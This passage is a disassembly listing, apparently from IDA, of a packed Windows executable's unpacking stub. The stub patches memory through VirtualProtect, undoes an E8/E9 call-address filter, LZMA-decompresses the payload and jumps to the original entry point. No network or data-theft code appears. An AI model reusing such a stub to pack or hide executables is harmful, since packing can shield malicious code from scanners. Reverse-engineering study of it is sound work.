; ---------------------------------------------------------------------------
loc_4A399E: ; CODE XREF: start+56Bj
lea eax, [ebp+var_234]
push eax
push 40h
push 4
push [ebp+var_21C]
call ds:dword_4A3124 ; VirtualProtect
mov eax, [ebp+var_21C]
mov ecx, [ebp+var_250]
mov [eax], ecx
mov eax, [ebp-214h]
add eax, 4
mov [ebp-214h], eax
mov eax, [ebp+var_21C]
add eax, 4
mov [ebp+var_21C], eax
jmp loc_4A3915
; ---------------------------------------------------------------------------
loc_4A39E6: ; CODE XREF: start+4F2j
mov eax, [ebp+var_244]
add eax, 14h
mov [ebp+var_244], eax
jmp loc_4A37F7
; ---------------------------------------------------------------------------
loc_4A39FA: ; CODE XREF: start+3D5j start+3E4j
mov eax, ds:off_4A3004
mov ecx, ds:dword_4A3008
add ecx, [eax+48h]
mov ds:off_4A301C, ecx
loc_4A3A0E: ; CODE XREF: start+5Cj
cmp ds:dword_4A3010, 0
jz short loc_4A3A2A
push 8000h
push 0
push ds:dword_4A3010
call ds:dword_4A310C ; VirtualFree
loc_4A3A2A: ; CODE XREF: start+5E9j
mov eax, ds:off_4A301C
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push eax
mov eax, ds:off_4A3004
cmp dword ptr [eax+48h], 0
jnz short loc_4A3A46
pop eax
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_4A3A46: ; CODE XREF: start+613j
pop eax
jmp eax
; ---------------------------------------------------------------------------
loc_4A3A49: ; CODE XREF: start:loc_4A3A6Dj
; start:loc_4A3A6Fj ...
cmp ds:dword_4A3010, 0
jz short loc_4A3A65
push 8000h
push 0
push ds:dword_4A3010
call ds:dword_4A310C ; VirtualFree
loc_4A3A65: ; CODE XREF: start+624j
push 0
call ds:dword_4A3114 ; ExitProcess
loc_4A3A6D: ; CODE XREF: start+56Dj
jmp short loc_4A3A49
; ---------------------------------------------------------------------------
loc_4A3A6F: ; CODE XREF: start+4A2j
jmp short loc_4A3A49
; ---------------------------------------------------------------------------
loc_4A3A71: ; CODE XREF: start+192j
jmp short loc_4A3A49
; ---------------------------------------------------------------------------
loc_4A3A73: ; CODE XREF: start+4Ej
jmp short loc_4A3A49
start endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3A75 proc near ; CODE XREF: sub_4A3344+CAp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 2Ch
push ebx
push esi
push edi
push 1
mov esi, [ebp+arg_C]
pop ecx
mov [ebp+var_2C], ecx
mov [ebp+var_28], ecx
mov [ebp+var_24], ecx
xor eax, eax
and [ebp+var_C], al
mov [ebp+var_1C], ecx
mov [ebp+var_B], cl
mov ecx, [ebp+arg_4]
add ecx, 0FFFFFFFBh
mov [ebp+var_20], eax
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_A], 2
mov [ebp+var_9], 2
mov [ebp+var_8], 3
mov [ebp+var_7], 3
mov [ebp+var_6], 3
mov [ebp+var_5], 3
mov [ebp+var_4], ecx
loc_4A3AC5: ; CODE XREF: sub_4A3A75+16Fj
mov edi, [ebp+arg_0]
mov cl, [eax+edi]
cmp cl, 0E8h
jz short loc_4A3ADB
cmp cl, 0E9h
jz short loc_4A3ADB
inc eax
jmp loc_4A3BE1
; ---------------------------------------------------------------------------
loc_4A3ADB: ; CODE XREF: sub_4A3A75+59j
; sub_4A3A75+5Ej
mov edx, [ebp+arg_10]
mov ebx, [ebp+arg_8]
mov ecx, eax
sub ecx, [edx]
add ecx, ebx
add ebx, eax
cmp ecx, 5
mov [edx], ebx
jbe short loc_4A3AF5
and dword ptr [esi], 0
jmp short loc_4A3B05
; ---------------------------------------------------------------------------
loc_4A3AF5: ; CODE XREF: sub_4A3A75+79j
test ecx, ecx
jbe short loc_4A3B05
loc_4A3AF9: ; CODE XREF: sub_4A3A75+8Ej
mov edx, [esi]
and edx, 77h
shl edx, 1
dec ecx
mov [esi], edx
jnz short loc_4A3AF9
loc_4A3B05: ; CODE XREF: sub_4A3A75+7Ej
; sub_4A3A75+82j
mov dl, [eax+edi+4]
test dl, dl
jz short loc_4A3B16
cmp dl, 0FFh
jnz loc_4A3BCD
loc_4A3B16: ; CODE XREF: sub_4A3A75+96j
mov ecx, [esi]
mov [ebp+arg_4], ecx
shr [ebp+arg_4], 1
mov ebx, [ebp+arg_4]
and ebx, 7
cmp [ebp+ebx*4+var_2C], 0
jz loc_4A3BCD
and ecx, 0FFFFFFFEh
cmp ecx, 20h
jnb loc_4A3BCD
xor ecx, ecx
mov ch, dl
mov cl, [eax+edi+3]
movzx edx, byte ptr [eax+edi+2]
shl ecx, 8
or ecx, edx
movzx edx, byte ptr [eax+edi+1]
shl ecx, 8
or edx, ecx
loc_4A3B57: ; CODE XREF: sub_4A3A75+125j
sub edx, eax
sub edx, [ebp+arg_8]
sub edx, 5
cmp dword ptr [esi], 0
mov ebx, edx
jz short loc_4A3B9F
mov ecx, [ebp+arg_4]
push 18h
movzx edi, [ebp+ecx+var_C]
mov ecx, edi
shl ecx, 3
mov edx, ecx
pop ecx
sub ecx, edx
mov edx, ebx
shr edx, cl
test dl, dl
jz short loc_4A3B87
cmp dl, 0FFh
jnz short loc_4A3B9C
loc_4A3B87: ; CODE XREF: sub_4A3A75+10Bj
push 4
pop ecx
sub ecx, edi
push 1
shl ecx, 3
pop edx
mov edi, [ebp+arg_0]
shl edx, cl
dec edx
xor edx, ebx
jmp short loc_4A3B57
; ---------------------------------------------------------------------------
loc_4A3B9C: ; CODE XREF: sub_4A3A75+110j
mov edi, [ebp+arg_0]
loc_4A3B9F: ; CODE XREF: sub_4A3A75+EFj
mov ecx, ebx
add eax, 5
shr ecx, 18h
and cl, 1
dec cl
not cl
mov [eax+edi-1], cl
mov ecx, ebx
shr ecx, 10h
mov [eax+edi-2], cl
mov ecx, ebx
shr ecx, 8
mov [eax+edi-3], cl
mov [eax+edi-4], bl
and dword ptr [esi], 0
jmp short loc_4A3BE1
; ---------------------------------------------------------------------------
loc_4A3BCD: ; CODE XREF: sub_4A3A75+9Bj
; sub_4A3A75+B4j ...
or dword ptr [esi], 1
mov ecx, [esi]
inc eax
test dl, dl
jz short loc_4A3BDC
cmp dl, 0FFh
jnz short loc_4A3BE1
loc_4A3BDC: ; CODE XREF: sub_4A3A75+160j
or ecx, 10h
mov [esi], ecx
loc_4A3BE1: ; CODE XREF: sub_4A3A75+61j
; sub_4A3A75+156j ...
cmp eax, [ebp+var_4]
jbe loc_4A3AC5
pop edi
pop esi
pop ebx
leave
retn
sub_4A3A75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3BEF proc near ; CODE XREF: sub_4A3E82+309p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_4]
push esi
xor eax, eax
mov esi, [ecx+8]
push edi
mov edi, [ecx+0Ch]
test edx, edx
jle short loc_4A3C47
push ebx
mov [ebp+arg_0], edx
loc_4A3C0A: ; CODE XREF: sub_4A3BEF+55j
shr esi, 1
shl eax, 1
cmp edi, esi
jb short loc_4A3C16
sub edi, esi
or al, 1
loc_4A3C16: ; CODE XREF: sub_4A3BEF+21j
cmp esi, 1000000h
jnb short loc_4A3C41
mov edx, [ecx]
shl esi, 8
cmp edx, [ecx+4]
jnz short loc_4A3C34
mov dword ptr [ecx+10h], 1
or bl, 0FFh
jmp short loc_4A3C39
; ---------------------------------------------------------------------------
loc_4A3C34: ; CODE XREF: sub_4A3BEF+37j
mov bl, [edx]
inc edx
mov [ecx], edx
loc_4A3C39: ; CODE XREF: sub_4A3BEF+43j
movzx edx, bl
shl edi, 8
or edi, edx
loc_4A3C41: ; CODE XREF: sub_4A3BEF+2Dj
dec [ebp+arg_0]
jnz short loc_4A3C0A
pop ebx
loc_4A3C47: ; CODE XREF: sub_4A3BEF+15j
mov [ecx+0Ch], edi
mov [ecx+8], esi
pop edi
pop esi
pop ebp
retn
sub_4A3BEF endp
; =============== S U B R O U T I N E =======================================
sub_4A3C51 proc near ; CODE XREF: sub_4A3D16+1Dp
; sub_4A3D4D+1Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
push edi
mov eax, [ecx+8]
movzx esi, word ptr [edx]
mov edi, eax
shr edi, 0Bh
imul edi, esi
mov esi, [ecx+0Ch]
cmp esi, edi
jnb short loc_4A3CC2
mov [ecx+8], edi
mov ax, [edx]
movzx esi, ax
mov edi, 800h
sub edi, esi
sar edi, 5
add edi, eax
mov [edx], di
mov eax, [ecx+8]
cmp eax, 1000000h
jnb short loc_4A3CBE
mov esi, [ecx]
cmp esi, [ecx+4]
jnz short loc_4A3CA5
mov dword ptr [ecx+10h], 1
or dl, 0FFh
jmp short loc_4A3CAA
; ---------------------------------------------------------------------------
loc_4A3CA5: ; CODE XREF: sub_4A3C51+46j
mov dl, [esi]
inc esi
mov [ecx], esi
loc_4A3CAA: ; CODE XREF: sub_4A3C51+52j
mov esi, [ecx+0Ch]
movzx edx, dl
shl esi, 8
or esi, edx
shl eax, 8
mov [ecx+0Ch], esi
mov [ecx+8], eax
loc_4A3CBE: ; CODE XREF: sub_4A3C51+3Fj
xor eax, eax
jmp short loc_4A3D13
; ---------------------------------------------------------------------------
loc_4A3CC2: ; CODE XREF: sub_4A3C51+1Dj
sub eax, edi
sub esi, edi
mov [ecx+8], eax
mov [ecx+0Ch], esi
mov ax, [edx]
push 1
mov si, ax
shr si, 5
sub eax, esi
mov [edx], ax
mov edx, [ecx+8]
cmp edx, 1000000h
pop eax
jnb short loc_4A3D13
mov esi, [ecx]
push ebx
cmp esi, [ecx+4]
jnz short loc_4A3CF9
mov [ecx+10h], eax
or bl, 0FFh
jmp short loc_4A3CFE
; ---------------------------------------------------------------------------
loc_4A3CF9: ; CODE XREF: sub_4A3C51+9Ej
mov bl, [esi]
inc esi
mov [ecx], esi
loc_4A3CFE: ; CODE XREF: sub_4A3C51+A6j
mov esi, [ecx+0Ch]
movzx edi, bl
shl esi, 8
or esi, edi
pop ebx
shl edx, 8
mov [ecx+0Ch], esi
mov [ecx+8], edx
loc_4A3D13: ; CODE XREF: sub_4A3C51+6Fj
; sub_4A3C51+96j
pop edi
pop esi
retn
sub_4A3C51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3D16 proc near ; CODE XREF: sub_4A3E0D+26p
; sub_4A3E0D+51p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_4], 0
push 1
pop eax
jle short loc_4A3D41
push esi
push edi
mov edi, [ebp+arg_4]
loc_4A3D27: ; CODE XREF: sub_4A3D16+27j
push [ebp+arg_8]
lea esi, [eax+eax]
mov eax, [ebp+arg_0]
add eax, esi
push eax
call sub_4A3C51
pop ecx
add eax, esi
dec edi
pop ecx
jnz short loc_4A3D27
pop edi
pop esi
loc_4A3D41: ; CODE XREF: sub_4A3D16+Aj
mov ecx, [ebp+arg_4]
push 1
pop edx
shl edx, cl
sub eax, edx
pop ebp
retn
sub_4A3D16 endp
; =============== S U B R O U T I N E =======================================
sub_4A3D4D proc near ; CODE XREF: sub_4A3E82+2F5p
; sub_4A3E82+320p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push edi
xor ebx, ebx
push 1
xor edi, edi
cmp [esp+0Ch+arg_4], ebx
pop edx
jle short loc_4A3D83
push esi
loc_4A3D5D: ; CODE XREF: sub_4A3D4D+33j
mov eax, [esp+0Ch+arg_0]
push [esp+0Ch+arg_8]
lea esi, [edx+edx]
add eax, esi
push eax
call sub_4A3C51
pop ecx
lea edx, [esi+eax]
pop ecx
mov ecx, edi
shl eax, cl
or ebx, eax
inc edi
cmp edi, [esp+0Ch+arg_4]
jl short loc_4A3D5D
pop esi
loc_4A3D83: ; CODE XREF: sub_4A3D4D+Dj
mov eax, ebx
pop edi
pop ebx
retn
sub_4A3D4D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3D88 proc near ; CODE XREF: sub_4A3E82+143p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
movzx esi, [ebp+arg_8]
shr esi, 7
shl [ebp+arg_8], 1
mov eax, esi
push edi
mov edi, [ebp+arg_0]
push [ebp+arg_4]
shl eax, 9
lea eax, [eax+edi+202h]
push eax
call sub_4A3C51
pop ecx
mov ebx, eax
pop ecx
or ebx, 2
loc_4A3DB7: ; CODE XREF: sub_4A3D88+5Fj
cmp esi, eax
jnz short loc_4A3DE9
cmp ebx, 100h
jge short loc_4A3E06
movzx esi, [ebp+arg_8]
shr esi, 7
push [ebp+arg_4]
lea eax, [esi+1]
shl [ebp+arg_8], 1
shl eax, 8
add eax, ebx
lea eax, [edi+eax*2]
push eax
call sub_4A3C51
pop ecx
add ebx, ebx
pop ecx
or ebx, eax
jmp short loc_4A3DB7
; ---------------------------------------------------------------------------
loc_4A3DE9: ; CODE XREF: sub_4A3D88+31j
mov esi, 100h
loc_4A3DEE: ; CODE XREF: sub_4A3D88+7Cj
cmp ebx, esi
jge short loc_4A3E06
push [ebp+arg_4]
add ebx, ebx
lea eax, [ebx+edi]
push eax
call sub_4A3C51
pop ecx
or ebx, eax
pop ecx
jmp short loc_4A3DEE
; ---------------------------------------------------------------------------
loc_4A3E06: ; CODE XREF: sub_4A3D88+39j
; sub_4A3D88+68j
pop edi
mov al, bl
pop esi
pop ebx
pop ebp
retn
sub_4A3D88 endp
; =============== S U B R O U T I N E =======================================
sub_4A3E0D proc near ; CODE XREF: sub_4A3E82+24Fp
; sub_4A3E82+29Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, [esp+8+arg_4]
push edi
push esi
call sub_4A3C51
pop ecx
pop ecx
test eax, eax
push edi
jnz short loc_4A3E3D
mov eax, [esp+0Ch+arg_8]
push 3
shl eax, 4
lea eax, [eax+esi+4]
push eax
call sub_4A3D16
add esp, 0Ch
jmp short loc_4A3E7F
; ---------------------------------------------------------------------------
loc_4A3E3D: ; CODE XREF: sub_4A3E0D+16j
lea eax, [esi+2]
push eax
call sub_4A3C51
pop ecx
pop ecx
test eax, eax
push edi
jnz short loc_4A3E6B
mov eax, [esp+0Ch+arg_8]
push 3
shl eax, 4
lea eax, [eax+esi+104h]
push eax
call sub_4A3D16
add esp, 0Ch
add eax, 8
jmp short loc_4A3E7F
; ---------------------------------------------------------------------------
loc_4A3E6B: ; CODE XREF: sub_4A3E0D+3Ej
add esi, 204h
push 8
push esi
call sub_4A3D16
add esp, 0Ch
add eax, 10h
loc_4A3E7F: ; CODE XREF: sub_4A3E0D+2Ej
; sub_4A3E0D+5Cj
pop edi
pop esi
retn
sub_4A3E0D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4A3E82 proc near ; CODE XREF: sub_4A3344+95p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 34h
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_C]
push 1
pop edx
xor bl, bl
lea ecx, [eax+edi]
mov eax, 300h
shl eax, cl
xor ecx, ecx
mov esi, edx
mov [ebp+var_4], ecx
mov [ebp+var_14], ecx
mov [ebp+arg_C], ecx
mov ecx, [ebp+arg_10]
shl esi, cl
add eax, 736h
mov ecx, edi
mov [ebp+var_8], edx
mov [ebp+var_10], edx
mov [ebp+var_C], edx
mov [ebp+var_18], edx
dec esi
mov [ebp+var_1C], esi
mov esi, edx
shl esi, cl
dec esi
mov [ebp+var_20], esi
mov esi, [ebp+arg_0]
test eax, eax
jbe short loc_4A3EEA
mov ecx, eax
mov eax, 4000400h
mov edi, esi
shr ecx, 1
rep stosd
adc ecx, ecx
rep stosw
loc_4A3EEA: ; CODE XREF: sub_4A3E82+54j
mov eax, [ebp+arg_14]
mov ecx, [ebp+arg_18]
and [ebp+var_24], 0
and [ebp+var_28], 0
or [ebp+var_2C], 0FFFFFFFFh
lea edi, [eax+ecx]
mov [ebp+var_34], eax
mov [ebp+var_30], edi
mov [ebp+arg_10], 5
loc_4A3F0C: ; CODE XREF: sub_4A3E82+AFj
cmp [ebp+var_34], edi
jnz short loc_4A3F18
mov [ebp+var_24], edx
or al, 0FFh
jmp short loc_4A3F20
; ---------------------------------------------------------------------------
loc_4A3F18: ; CODE XREF: sub_4A3E82+8Dj
mov eax, [ebp+var_34]
mov al, [eax]
inc [ebp+var_34]
loc_4A3F20: ; CODE XREF: sub_4A3E82+94j
mov ecx, [ebp+var_28]
movzx eax, al
shl ecx, 8
or ecx, eax
dec [ebp+arg_10]
mov [ebp+var_28], ecx
jnz short loc_4A3F0C
mov eax, [ebp+arg_24]
and dword ptr [eax], 0
cmp [ebp+arg_20], 0
jbe loc_4A41E8
loc_4A3F43: ; CODE XREF: sub_4A3E82+360j
mov edi, [ebp+var_1C]
lea eax, [ebp+var_34]
and edi, [ebp+arg_C]
push eax
mov eax, [ebp+var_4]
shl eax, 4
add eax, edi
lea eax, [esi+eax*2]
push eax
call sub_4A3C51
pop ecx
test eax, eax
pop ecx
jnz loc_4A3FF8
mov edx, [ebp+var_20]
mov cl, 8
sub cl, byte ptr [ebp+arg_8]
and edx, [ebp+arg_C]
movzx eax, bl
shr eax, cl
mov ecx, [ebp+arg_8]
shl edx, cl
add eax, edx
lea eax, [eax+eax*2]
shl eax, 9
cmp [ebp+var_4], 4
lea edi, [eax+esi+0E6Ch]
jge short loc_4A3F98
and [ebp+var_4], 0
jmp short loc_4A3FA8
; ---------------------------------------------------------------------------
loc_4A3F98: ; CODE XREF: sub_4A3E82+10Ej
cmp [ebp+var_4], 0Ah
jge short loc_4A3FA4
sub [ebp+var_4], 3
jmp short loc_4A3FA8
; ---------------------------------------------------------------------------
loc_4A3FA4: ; CODE XREF: sub_4A3E82+11Aj
sub [ebp+var_4], 6
loc_4A3FA8: ; CODE XREF: sub_4A3E82+114j
; sub_4A3E82+120j
cmp [ebp+var_14], 0
jz short loc_4A3FD5
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_1C]
sub eax, [ebp+var_8]
mov al, [eax+ecx]
mov byte ptr [ebp+arg_10], al
lea eax, [ebp+var_34]
push [ebp+arg_10]
push eax
push edi
call sub_4A3D88
add esp, 0Ch
and [ebp+var_14], 0
mov bl, al
jmp short loc_4A3FF3
; ---------------------------------------------------------------------------
loc_4A3FD5: ; CODE XREF: sub_4A3E82+12Aj
push 1
pop ebx
loc_4A3FD8: ; CODE XREF: sub_4A3E82+16Fj
add ebx, ebx
lea eax, [ebp+var_34]
push eax
lea eax, [ebx+edi]
push eax
call sub_4A3C51
or ebx, eax
pop ecx
cmp ebx, 100h
pop ecx
jl short loc_4A3FD8
loc_4A3FF3: ; CODE XREF: sub_4A3E82+151j
mov eax, [ebp+arg_1C]
jmp short loc_4A406B
; ---------------------------------------------------------------------------
loc_4A3FF8: ; CODE XREF: sub_4A3E82+E0j
mov ebx, [ebp+var_4]
lea eax, [ebp+var_34]
push eax
mov [ebp+var_14], 1
lea eax, [esi+ebx*2+180h]
push eax
call sub_4A3C51
pop ecx
cmp eax, 1
pop ecx
jnz loc_4A40F1
lea eax, [ebp+var_34]
push eax
lea eax, [esi+ebx*2+198h]
push eax
call sub_4A3C51
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_34]
push eax
jnz short loc_4A4079
lea eax, [ebx+0Fh]
shl eax, 4
add eax, edi
lea eax, [esi+eax*2]
push eax
call sub_4A3C51
pop ecx
test eax, eax
pop ecx
jnz short loc_4A40C5
cmp ebx, 7
mov ecx, [ebp+arg_C]
setnl al
dec eax
and al, 0FEh
add eax, 0Bh
sub ecx, [ebp+var_8]
mov [ebp+var_4], eax
mov eax, [ebp+arg_1C]
mov bl, [ecx+eax]
loc_4A406B: ; CODE XREF: sub_4A3E82+174j
mov ecx, [ebp+arg_C]
inc [ebp+arg_C]
mov [ecx+eax], bl
jmp loc_4A41DC
; ---------------------------------------------------------------------------
loc_4A4079: ; CODE XREF: sub_4A3E82+1B5j
lea eax, [esi+ebx*2+1B0h]
push eax
call sub_4A3C51
pop ecx
test eax, eax
pop ecx
jnz short loc_4A4091
mov eax, [ebp+var_10]
jmp short loc_4A40BC
; ---------------------------------------------------------------------------
loc_4A4091: ; CODE XREF: sub_4A3E82+208j
lea eax, [ebp+var_34]
push eax
lea eax, [esi+ebx*2+1C8h]
push eax
call sub_4A3C51
pop ecx
test eax, eax
pop ecx
jnz short loc_4A40AD
mov eax, [ebp+var_C]
jmp short loc_4A40B6
; ---------------------------------------------------------------------------
loc_4A40AD: ; CODE XREF: sub_4A3E82+224j
mov ecx, [ebp+var_C]
mov eax, [ebp+var_18]
mov [ebp+var_18], ecx
loc_4A40B6: ; CODE XREF: sub_4A3E82+229j
mov ecx, [ebp+var_10]
mov [ebp+var_C], ecx
loc_4A40BC: ; CODE XREF: sub_4A3E82+20Dj
mov ecx, [ebp+var_8]
mov [ebp+var_8], eax
mov [ebp+var_10], ecx
loc_4A40C5: ; CODE XREF: sub_4A3E82+1CCj
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [esi+0A68h]
push eax
call sub_4A3E0D
mov edi, eax
add esp, 0Ch
xor eax, eax
cmp ebx, 7
setnl al
dec eax
and al, 0FDh
add eax, 0Bh
mov [ebp+var_4], eax
jmp loc_4A41B5
; ---------------------------------------------------------------------------
loc_4A40F1: ; CODE XREF: sub_4A3E82+196j
mov eax, [ebp+var_C]
push edi
mov [ebp+var_18], eax
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, [ebp+var_8]
mov [ebp+var_10], eax
xor eax, eax
cmp ebx, 7
setnl al
dec eax
and al, 0FDh
add eax, 0Ah
mov [ebp+var_4], eax
lea eax, [ebp+var_34]
push eax
lea eax, [esi+664h]
push eax
call sub_4A3E0D
mov edi, eax
add esp, 0Ch
cmp edi, 4
jge short loc_4A4131
jmp short loc_4A4134
; ---------------------------------------------------------------------------
loc_4A4131: ; CODE XREF: sub_4A3E82+2ABj
push 3
pop eax
loc_4A4134: ; CODE XREF: sub_4A3E82+2ADj
shl eax, 7
lea ecx, [ebp+var_34]
push ecx
lea eax, [eax+esi+360h]
push 6
push eax
call sub_4A3D16
add esp, 0Ch
cmp eax, 4
jl short loc_4A41AC
mov ecx, eax
mov ebx, eax
sar ecx, 1
and ebx, 1
dec ecx
or ebx, 2
shl ebx, cl
cmp eax, 0Eh
jge short loc_4A4183
lea edx, [ebp+var_34]
push edx
push ecx
mov ecx, ebx
sub ecx, eax
lea eax, [esi+ecx*2+55Eh]
push eax
call sub_4A3D4D
add esp, 0Ch
loc_4A417F: ; CODE XREF: sub_4A3E82+328j
add ebx, eax
jmp short loc_4A41B1
; ---------------------------------------------------------------------------
loc_4A4183: ; CODE XREF: sub_4A3E82+2E2j
add ecx, 0FFFFFFFCh
lea eax, [ebp+var_34]
push ecx
push eax
call sub_4A3BEF
shl eax, 4
add ebx, eax
lea eax, [ebp+var_34]
push eax
lea eax, [esi+644h]
push 4
push eax
call sub_4A3D4D
add esp, 14h
jmp short loc_4A417F
; ---------------------------------------------------------------------------
loc_4A41AC: ; CODE XREF: sub_4A3E82+2CEj
mov [ebp+var_8], eax
mov ebx, eax
loc_4A41B1: ; CODE XREF: sub_4A3E82+2FFj
inc ebx
mov [ebp+var_8], ebx
loc_4A41B5: ; CODE XREF: sub_4A3E82+26Aj
cmp [ebp+var_8], 0
jz short loc_4A41E8
inc edi
inc edi
loc_4A41BD: ; CODE XREF: sub_4A3E82+358j
mov ecx, [ebp+arg_C]
mov eax, [ebp+arg_1C]
mov edx, ecx
sub edx, [ebp+var_8]
mov bl, [edx+eax]
mov [ecx+eax], bl
inc ecx
dec edi
mov [ebp+arg_C], ecx
test edi, edi
jle short loc_4A41DC
cmp ecx, [ebp+arg_20]
jb short loc_4A41BD
loc_4A41DC: ; CODE XREF: sub_4A3E82+1F2j
; sub_4A3E82+353j
mov eax, [ebp+arg_C]
cmp eax, [ebp+arg_20]
jb loc_4A3F43
loc_4A41E8: ; CODE XREF: sub_4A3E82+BBj
; sub_4A3E82+337j
mov ecx, [ebp+arg_24]
mov eax, [ebp+arg_C]
pop edi
pop esi
mov [ecx], eax
xor eax, eax
pop ebx
leave
retn
sub_4A3E82 endp
; ---------------------------------------------------------------------------
align 10h
dword_4A4200 dd 0DCh, 0Dh dup(0) ; DATA XREF: .ex_cod:off_4A3004o
dd 8B000h, 16890h, 400h, 8C000h, 198E4h, 1, 0A342Ch, 400000h
dd 10Fh, 24104h, 5 dup(0)
dd 3AE00h, 4, 1, 400h, 0FE0Ch, 1000h, 21E74h, 60000020h
dd 1, 1020Ch, 0DF2h, 23000h, 1C20h, 40000040h, 1, 10FFEh
dd 5C70h, 25000h, 65B40h, 0C0000040h, 1, 16C6Eh, 22h
db 0, 0B0h, 8
_ex_cod ends
; Section 4. (virtual address 000A5000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 000A4400
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 4A5000h
align 2000h
_idata2 ends
end start